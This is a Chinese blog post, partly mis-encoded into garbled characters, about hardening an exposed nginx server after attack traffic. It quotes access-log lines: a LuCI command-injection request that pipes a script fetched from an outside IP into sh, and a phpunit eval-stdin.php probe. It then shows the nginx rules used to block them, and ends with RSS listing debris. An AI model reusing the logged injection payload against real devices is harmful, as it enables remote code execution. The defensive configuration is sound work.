最q将一台HTTP服务器暴露于仅见Q随卛_来大量黑客的光顾Q其实也是发各UHTTPhQ以获取一个输入,输出界面Q在输入界面输入SHELL命oQ在输出界面观看l果Q也是说不用去到电脑前Q用d用户名和密码q种Ҏ来登录,再跑各种命o?/div>日志昄有下面这些操作:
185.191.127.212 - - [19/Jun/2024:21:10:22 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" "-"
60.221.228.127 - - [15/Jun/2024:21:10:02 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" "-"
于是在NGINX上加上相应规则,遇到cM的直接返?44
其中/etc/nginx/conf/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
#paul-1
server_tokens off;
map $remote_addr $loggable {
~^192\.168\.1 0; # 如果IP?92开_则不记录日志
~^219\.888\.888\.888 0; # 如果IP?19.888.888.8Q则不记录日?/span>
default 1; # 其他情况默认记录日志
}
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
#paul-2
access_log /var/log/nginx/access.log main if=$loggable;Q引用上面的规则
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream uvicorn {
server unix:/tmp/uvicorn.sock;
}
}
/etc/nginx/conf/conf.d/default.confQ这里是请求{发后到后端的配置
server {
listen 81;
listen [::]:80;
#paul-3
server_name paulwong88.com;
#paul-4
# 验证 Host 头部是否为您的域?br /> if ($host != 'paulwong88.com') {
return 444; # 寚w授权域名的请求直接关闭连?/span>
}
client_max_body_size 4G;
#server_name localhost;
location / {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
add_header 'Cache-control' 'no-cache';
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_redirect off;
proxy_buffering off;
proxy_pass http://open-webui:8080;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制?nbsp;CGI 目录的访?/span>
}
}
/etc/nginx/conf/conf.d/default-web.confQ这里是攄静态页面的配置
server {
listen 80;
listen [::]:80;
expires -1;
#paul-3
server_name paulwong88.com;
#paul-4
# 验证 Host 头部是否为您的域?br /> if ($host != 'paulwong88.com') {
return 444; # 寚w授权域名的请求直接关闭连?/span>
}
client_max_body_size 4G;
#server_name localhost;
location / {
#如果不加Qnginx会ؕ发http_D览器无法解析css,jsq种文g
include /etc/nginx/mime.types; #默认在http中是有这个配|的Q但又重复了一遍,告诉nginx如果到各种后缀Q如.cssQ应如何dhttp?/span>
default_type application/octet-stream; #默认在http中是有这个配|的Q但又重复了一遍,加默认要加的http?/span>
root /usr/share/nginx/html;
index index.html index.htm;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制?nbsp;CGI 目录的访?/span>
}
#location /static {
# path for static files
#root /path/to/app/static;
#}
#|上q样加,但发现没效果
#location ~ \.css {
#root /usr/share/nginx/html;
#add_header Content-Type text/css;
#default_type text/css;
#}
#location ~ \.js {
#root /usr/share/nginx/html;
#add_header Content-Type application/x-javascript;
#}
}
q样基本各\黑客输入一条命令后Q基本就打退堂鼓了?/div>

]]>
- Nginx代理转发SFTPhttp://www.aygfsteel.com/paulwong/archive/2021/10/15/436012.htmlpaulwongpaulwongFri, 15 Oct 2021 02:04:00 GMThttp://www.aygfsteel.com/paulwong/archive/2021/10/15/436012.htmlhttp://www.aygfsteel.com/paulwong/comments/436012.htmlhttp://www.aygfsteel.com/paulwong/archive/2021/10/15/436012.html#Feedback0http://www.aygfsteel.com/paulwong/comments/commentRss/436012.htmlhttp://www.aygfsteel.com/paulwong/services/trackbacks/436012.htmlhttps://blog.csdn.net/qq_27127385/article/details/103666143

]]> - nginx ?proxy_pass详解http://www.aygfsteel.com/paulwong/archive/2021/08/30/435959.htmlpaulwongpaulwongMon, 30 Aug 2021 07:16:00 GMThttp://www.aygfsteel.com/paulwong/archive/2021/08/30/435959.htmlhttp://www.aygfsteel.com/paulwong/comments/435959.htmlhttp://www.aygfsteel.com/paulwong/archive/2021/08/30/435959.html#Feedback0http://www.aygfsteel.com/paulwong/comments/commentRss/435959.htmlhttp://www.aygfsteel.com/paulwong/services/trackbacks/435959.htmlhttps://www.jianshu.com/p/b010c9302cd0

]]> - Tenginehttp://www.aygfsteel.com/paulwong/archive/2015/11/06/428066.htmlpaulwongpaulwongFri, 06 Nov 2015 04:56:00 GMThttp://www.aygfsteel.com/paulwong/archive/2015/11/06/428066.htmlhttp://www.aygfsteel.com/paulwong/comments/428066.htmlhttp://www.aygfsteel.com/paulwong/archive/2015/11/06/428066.html#Feedback0http://www.aygfsteel.com/paulwong/comments/commentRss/428066.htmlhttp://www.aygfsteel.com/paulwong/services/trackbacks/428066.html
- NGINX资源http://www.aygfsteel.com/paulwong/archive/2013/11/24/406758.htmlpaulwongpaulwongSun, 24 Nov 2013 13:11:00 GMThttp://www.aygfsteel.com/paulwong/archive/2013/11/24/406758.htmlhttp://www.aygfsteel.com/paulwong/comments/406758.htmlhttp://www.aygfsteel.com/paulwong/archive/2013/11/24/406758.html#Feedback0http://www.aygfsteel.com/paulwong/comments/commentRss/406758.htmlhttp://www.aygfsteel.com/paulwong/services/trackbacks/406758.htmlhttp://www.oschina.net/question/1014681_107718

]]>